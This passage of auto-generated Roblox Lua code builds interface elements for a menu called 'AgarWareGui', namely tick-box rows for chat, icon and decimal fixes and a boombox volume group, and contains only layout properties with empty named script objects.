StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerScript G2L["257"] = Instance.new("LocalScript", G2L["256"]); G2L["257"]["Name"] = [[DecimalFixerScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerTickBox G2L["258"] = Instance.new("TextButton", G2L["256"]); G2L["258"]["TextSize"] = 14; G2L["258"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["258"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["258"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["258"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["258"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["258"]["Text"] = [[]]; G2L["258"]["Name"] = [[DecimalFixerTickBox]]; G2L["258"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow.DecimalFixerText G2L["259"] = Instance.new("TextLabel", G2L["256"]); G2L["259"]["BorderSizePixel"] = 0; G2L["259"]["TextSize"] = 14; G2L["259"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["259"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["259"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["259"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["259"]["BackgroundTransparency"] = 1; G2L["259"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["259"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["259"]["Text"] = [[Fix Decimal Time]]; G2L["259"]["Name"] = [[DecimalFixerText]]; G2L["259"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow G2L["25a"] = Instance.new("Frame", G2L["249"]); G2L["25a"]["BorderSizePixel"] = 0; G2L["25a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["25a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["25a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["25a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25a"]["Name"] = [[OtherDecimalFixerRow]]; G2L["25a"]["LayoutOrder"] = 2; G2L["25a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerScript G2L["25b"] = Instance.new("LocalScript", G2L["25a"]); G2L["25b"]["Name"] = [[OtherDecimalFixerScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerTickBox G2L["25c"] = Instance.new("TextButton", G2L["25a"]); G2L["25c"]["TextSize"] = 14; G2L["25c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["25c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["25c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25c"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["25c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["25c"]["Text"] = [[]]; G2L["25c"]["Name"] = [[OtherDecimalFixerTickBox]]; G2L["25c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.OtherDecimalFixerRow.OtherDecimalFixerText G2L["25d"] = Instance.new("TextLabel", G2L["25a"]); G2L["25d"]["BorderSizePixel"] = 0; G2L["25d"]["TextSize"] = 14; G2L["25d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["25d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["25d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["25d"]["BackgroundTransparency"] = 1; G2L["25d"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["25d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25d"]["Text"] = [[Fix Other Decimals]]; G2L["25d"]["Name"] = [[OtherDecimalFixerText]]; G2L["25d"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow G2L["25e"] = Instance.new("Frame", G2L["249"]); G2L["25e"]["BorderSizePixel"] = 0; G2L["25e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["25e"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["25e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["25e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["25e"]["Name"] = [[EnliChatBlueRow]]; G2L["25e"]["LayoutOrder"] = 2; G2L["25e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueScript G2L["25f"] = Instance.new("LocalScript", G2L["25e"]); G2L["25f"]["Name"] = [[EnliChatBlueScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueTickBox G2L["260"] = Instance.new("TextButton", G2L["25e"]); G2L["260"]["TextSize"] = 14; G2L["260"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["260"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["260"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["260"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["260"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["260"]["Text"] = [[]]; G2L["260"]["Name"] = [[EnliChatBlueTickBox]]; G2L["260"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliChatBlueRow.EnliChatBlueText G2L["261"] = Instance.new("TextLabel", G2L["25e"]); G2L["261"]["BorderSizePixel"] = 0; G2L["261"]["TextSize"] = 14; G2L["261"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["261"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["261"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["261"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["261"]["BackgroundTransparency"] = 1; G2L["261"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["261"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["261"]["Text"] = [[Enli Icon (Chat)]]; G2L["261"]["Name"] = [[EnliChatBlueText]]; G2L["261"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow G2L["262"] = Instance.new("Frame", G2L["249"]); G2L["262"]["BorderSizePixel"] = 0; G2L["262"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["262"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["262"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["262"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["262"]["Name"] = [[AutoEnliRow]]; G2L["262"]["LayoutOrder"] = 3; G2L["262"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliScript G2L["263"] = Instance.new("LocalScript", G2L["262"]); G2L["263"]["Name"] = [[AutoEnliScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliTickBox G2L["264"] = Instance.new("TextButton", G2L["262"]); G2L["264"]["TextSize"] = 14; G2L["264"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["264"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["264"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["264"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["264"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["264"]["Text"] = [[]]; G2L["264"]["Name"] = [[AutoEnliTickBox]]; G2L["264"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.AutoEnliRow.AutoEnliText G2L["265"] = Instance.new("TextLabel", G2L["262"]); G2L["265"]["BorderSizePixel"] = 0; G2L["265"]["TextSize"] = 14; G2L["265"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["265"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["265"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["265"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["265"]["BackgroundTransparency"] = 1; G2L["265"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["265"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["265"]["Text"] = [[Auto Equip Enli]]; G2L["265"]["Name"] = [[AutoEnliText]]; G2L["265"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow G2L["266"] = Instance.new("Frame", G2L["249"]); G2L["266"]["BorderSizePixel"] = 0; G2L["266"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["266"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["266"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["266"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["266"]["Name"] = [[ChatFixRow]]; G2L["266"]["LayoutOrder"] = 3; G2L["266"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixScript G2L["267"] = Instance.new("LocalScript", G2L["266"]); G2L["267"]["Name"] = [[ChatFixScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixTickBox G2L["268"] = Instance.new("TextButton", G2L["266"]); G2L["268"]["TextSize"] = 14; G2L["268"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["268"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["268"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["268"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["268"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["268"]["Text"] = [[]]; G2L["268"]["Name"] = [[ChatFixTickBox]]; G2L["268"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.ChatFixRow.ChatFixText G2L["269"] = Instance.new("TextLabel", G2L["266"]); G2L["269"]["BorderSizePixel"] = 0; G2L["269"]["TextSize"] = 14; G2L["269"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["269"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["269"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["269"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["269"]["BackgroundTransparency"] = 1; G2L["269"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["269"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["269"]["Text"] = [[Chat Fix]]; G2L["269"]["Name"] = [[ChatFixText]]; G2L["269"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow G2L["26a"] = Instance.new("Frame", G2L["249"]); G2L["26a"]["BorderSizePixel"] = 0; G2L["26a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["26a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["26a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["26a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["26a"]["Name"] = [[EnliLBRow]]; G2L["26a"]["LayoutOrder"] = 2; G2L["26a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBScript G2L["26b"] = Instance.new("LocalScript", G2L["26a"]); G2L["26b"]["Name"] = [[EnliLBScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBTickBox G2L["26c"] = Instance.new("TextButton", G2L["26a"]); G2L["26c"]["TextSize"] = 14; G2L["26c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["26c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["26c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26c"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["26c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["26c"]["Text"] = [[]]; G2L["26c"]["Name"] = [[EnliLBTickBox]]; G2L["26c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBText G2L["26d"] = Instance.new("TextLabel", G2L["26a"]); G2L["26d"]["BorderSizePixel"] = 0; G2L["26d"]["TextSize"] = 14; G2L["26d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["26d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["26d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["26d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["26d"]["BackgroundTransparency"] = 1; G2L["26d"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["26d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["26d"]["Text"] = [[Enli Icon (LB)]]; G2L["26d"]["Name"] = [[EnliLBText]]; G2L["26d"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow G2L["26e"] = Instance.new("Frame", G2L["249"]); G2L["26e"]["BorderSizePixel"] = 0; G2L["26e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["26e"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["26e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["26e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["26e"]["Name"] = [[BkitUIFixRow]]; G2L["26e"]["LayoutOrder"] = 3; G2L["26e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixScript G2L["26f"] = Instance.new("LocalScript", G2L["26e"]); G2L["26f"]["Name"] = [[BkitUIFixScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixTickBox G2L["270"] = Instance.new("TextButton", G2L["26e"]); G2L["270"]["TextSize"] = 14; G2L["270"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["270"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["270"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["270"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["270"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["270"]["Text"] = [[]]; G2L["270"]["Name"] = [[BkitUIFixTickBox]]; G2L["270"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixText G2L["271"] = Instance.new("TextLabel", G2L["26e"]); G2L["271"]["BorderSizePixel"] = 0; G2L["271"]["TextSize"] = 14; G2L["271"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["271"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["271"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["271"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["271"]["BackgroundTransparency"] = 1; G2L["271"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["271"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["271"]["Text"] = [[B-Kit UI Fix]]; G2L["271"]["Name"] = [[BkitUIFixText]]; G2L["271"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup G2L["272"] = Instance.new("Frame", G2L["247"]); G2L["272"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["272"]["BorderMode"] = Enum.BorderMode.Middle; G2L["272"]["Size"] = UDim2.new(0, 170, 0, 160); G2L["272"]["Position"] = UDim2.new(0, 0, 0.51944, 0); G2L["272"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["272"]["Name"] = [[BoomboxGroup]]; G2L["272"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxScript G2L["273"] = Instance.new("LocalScript", G2L["272"]); G2L["273"]["Name"] = [[BoomboxScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTooltip G2L["274"] = Instance.new("LocalScript", G2L["272"]); G2L["274"]["Name"] = [[BoomboxTooltip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.UIListLayout G2L["275"] = Instance.new("UIListLayout", G2L["272"]); G2L["275"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxAccentColor G2L["276"] = Instance.new("Frame", G2L["272"]); G2L["276"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["276"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["276"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["276"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["276"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["276"]["Name"] = [[BoomboxAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTitle G2L["277"] = Instance.new("TextLabel", G2L["272"]); G2L["277"]["TextWrapped"] = true; G2L["277"]["BorderSizePixel"] = 0; G2L["277"]["TextSize"] = 14; G2L["277"]["TextScaled"] = true; G2L["277"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["277"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["277"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["277"]["BackgroundTransparency"] = 0.95; G2L["277"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["277"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["277"]["Text"] = [[Boombox]]; G2L["277"]["LayoutOrder"] = 1; G2L["277"]["Name"] = [[BoomboxTitle]]; G2L["277"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTitle.BoomboxMinimize G2L["278"] = Instance.new("TextButton", G2L["277"]); G2L["278"]["BorderSizePixel"] = 0; G2L["278"]["TextSize"] = 14; G2L["278"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["278"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["278"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["278"]["BackgroundTransparency"] = 1; G2L["278"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["278"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["278"]["Text"] = [[-]]; G2L["278"]["Name"] = [[BoomboxMinimize]]; G2L["278"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow G2L["279"] = Instance.new("Frame", G2L["272"]); G2L["279"]["BorderSizePixel"] = 0; G2L["279"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["279"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["279"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["279"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["279"]["Name"] = [[BoomVolRow]]; G2L["279"]["LayoutOrder"] = 2; G2L["279"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolScript G2L["27a"] = Instance.new("LocalScript", G2L["279"]); G2L["27a"]["Name"] = [[BoomVolScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolTickBox G2L["27b"] = Instance.new("TextButton", G2L["279"]); G2L["27b"]["TextSize"] = 14; G2L["27b"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["27b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["27b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27b"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["27b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["27b"]["Text"] = [[]]; G2L["27b"]["Name"] = [[BoomVolTickBox]]; G2L["27b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolText G2L["27c"] = Instance.new("TextLabel", G2L["279"]); G2L["27c"]["BorderSizePixel"] = 0; G2L["27c"]["TextSize"] = 14; G2L["27c"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["27c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["27c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["27c"]["BackgroundTransparency"] = 1; G2L["27c"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["27c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["27c"]["Text"] = [[Volume]]; G2L["27c"]["Name"] = [[BoomVolText]]; G2L["27c"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolChanger G2L["27d"] = Instance.new("TextBox", G2L["279"]); G2L["27d"]["Name"] = [[BoomVolChanger]]; G2L["27d"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["27d"]["TextWrapped"] = true; G2L["27d"]["TextSize"] = 14; G2L["27d"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["27d"]["TextScaled"] = true; G2L["27d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["27d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27d"]["PlaceholderText"] = [[(100)]]; G2L["27d"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["27d"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["27d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["27d"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow G2L["27e"] = Instance.new("Frame", G2L["272"]); G2L["27e"]["BorderSizePixel"] = 0; G2L["27e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["27e"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["27e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["27e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["27e"]["Name"] = [[MuteTacoRow]]; G2L["27e"]["LayoutOrder"] = 2; G2L["27e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoScript G2L["27f"] = Instance.new("LocalScript", G2L["27e"]); G2L["27f"]["Name"] = [[MuteTacoScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoTickBox G2L["280"] = Instance.new("TextButton", G2L["27e"]); G2L["280"]["TextSize"] = 14; G2L["280"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["280"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["280"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["280"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["280"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["280"]["Text"] = [[]]; G2L["280"]["Name"] = [[MuteTacoTickBox]]; G2L["280"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoText G2L["281"] = Instance.new("TextLabel", G2L["27e"]); G2L["281"]["BorderSizePixel"] = 0; G2L["281"]["TextSize"] = 14; G2L["281"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["281"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["281"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["281"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["281"]["BackgroundTransparency"] = 1; G2L["281"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["281"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["281"]["Text"] = [[Mute Taco Song]]; G2L["281"]["Name"] = [[MuteTacoText]]; G2L["281"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow G2L["282"] = Instance.new("Frame", G2L["272"]); G2L["282"]["BorderSizePixel"] = 0; G2L["282"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["282"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["282"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["282"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["282"]["Name"] = [[ClickBoomRow]]; G2L["282"]["LayoutOrder"] = 2; G2L["282"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomScript G2L["283"] = Instance.new("LocalScript", G2L["282"]); G2L["283"]["Name"] = [[ClickBoomScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomTickBox 